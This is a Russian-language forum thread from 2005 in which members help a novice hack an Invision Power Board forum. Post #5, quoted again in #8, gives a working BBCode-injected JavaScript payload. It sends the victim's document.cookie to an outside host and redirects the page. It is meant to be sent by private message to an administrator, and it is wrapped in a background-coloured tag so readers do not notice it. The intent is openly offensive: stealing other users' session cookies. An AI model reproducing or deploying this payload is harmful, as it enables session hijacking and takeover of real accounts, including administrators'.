HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу нужна помощь
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

нужна помощь
  #1  
Старый 20.03.2005, 07:53
KI[f]F
Новичок
Регистрация: 19.03.2005
Сообщений: 2
Провел на форуме:
0

Репутация: 0
По умолчанию нужна помощь
что то странное происходит пытаюсь взломать форум использую скрипт из 4 статьи на античате про взлом ipb выхордит странная штука я скрипт невижу когда запостил! и снифер мой хеш ловит, а все остальные видят! и против них неработает! странно... Помогите плиз! может скрипт неправельный скажите какой правильный! заранее спасибо!
 
Ответить с цитированием

  #2  
Старый 20.03.2005, 14:10
CunningFox
Познающий
Регистрация: 03.03.2005
Сообщений: 66
Провел на форуме:
0

Репутация: 0
По умолчанию
его и не должно быть видно..
 
Ответить с цитированием

  #3  
Старый 20.03.2005, 16:45
(-=util=-)
Постоянный
Регистрация: 02.12.2004
Сообщений: 352
Провел на форуме:
307649

Репутация: 67
По умолчанию
вообще ету фишку на форуме уже разжевали до такой степени что глупо непонять.
 
Ответить с цитированием

  #4  
Старый 20.03.2005, 20:07
chin
Познающий
Регистрация: 19.03.2005
Сообщений: 41
Провел на форуме:
11866

Репутация: 4
По умолчанию
Дело еще в браузере (только IE воспринимает " ` " (апостроф) как разделитель). Еще совет: Когда спариваешь вот так вот теги, как в статье, обрамливай всю эту конструкцию еще одним [color=цвет_фона_на_форуме]конструкция_сниффера[/color] ... и тогда даже те кто "будут" видеть это - они не заметят.
 
Ответить с цитированием

  #5  
Старый 20.03.2005, 21:55
(-=util=-)
Постоянный
Регистрация: 02.12.2004
Сообщений: 352
Провел на форуме:
307649

Репутация: 67
По умолчанию
ВОТ!!!!!! Сомый оптимальный вариант! Добавляю к chin'у.... Ставлю в PM админу вот такую батву :

[color=цвет_фона_на_форуме]
[color=[IMG***]http://000.aa/=`image.jpg[/IMG***]]` style=background:url(javascript:document.images[2].src="http://domen.ru/s.jpg?"+document.cookie) [/color]
[COLOR=[IMG***]http://000.aa/=`image.jpg[/IMG***]]` style=background:url("javascript:document.location .replace('http://domen.ru/index.htm');") [/COLOR]
[/color]

Тэг IMG без "***" соответственно.
 
Ответить с цитированием

  #6  
Старый 21.03.2005, 09:42
CunningFox
Познающий
Регистрация: 03.03.2005
Сообщений: 66
Провел на форуме:
0

Репутация: 0
По умолчанию
хех, всё таки сделал
 
Ответить с цитированием

  #7  
Старый 26.03.2005, 08:05
KI[f]F
Новичок
Регистрация: 19.03.2005
Сообщений: 2
Провел на форуме:
0

Репутация: 0
По умолчанию
спасибо за помощь!
 
Ответить с цитированием

  #8  
Старый 26.03.2005, 10:09
White Jordan
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию
Цитата:
Сообщение от (-=util=-)  
ВОТ!!!!!! Сомый оптимальный вариант! Добавляю к chin'у.... Ставлю в PM админу вот такую батву :

[color=цвет_фона_на_форуме]
[color=[IMG***]http://000.aa/=`image.jpg[/IMG***]]` style=background:url(javascript:document.images[2].src="http://domen.ru/s.jpg?"+document.cookie) [/color]
[COLOR=[IMG***]http://000.aa/=`image.jpg[/IMG***]]` style=background:url("javascript:document.location .replace('http://domen.ru/index.htm');") [/COLOR]
[/color]

Тэг IMG без "***" соответственно.
Replace это ты от меня научился да? =)
 
Ответить с цитированием

  #9  
Старый 26.03.2005, 12:53
(-=util=-)
Постоянный
Регистрация: 02.12.2004
Сообщений: 352
Провел на форуме:
307649

Репутация: 67
По умолчанию
нет. просто яву немного знаю =) ещё можно document.write(..... Вообще при открытия топика будет то что ты напишешь.... типа home page))
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.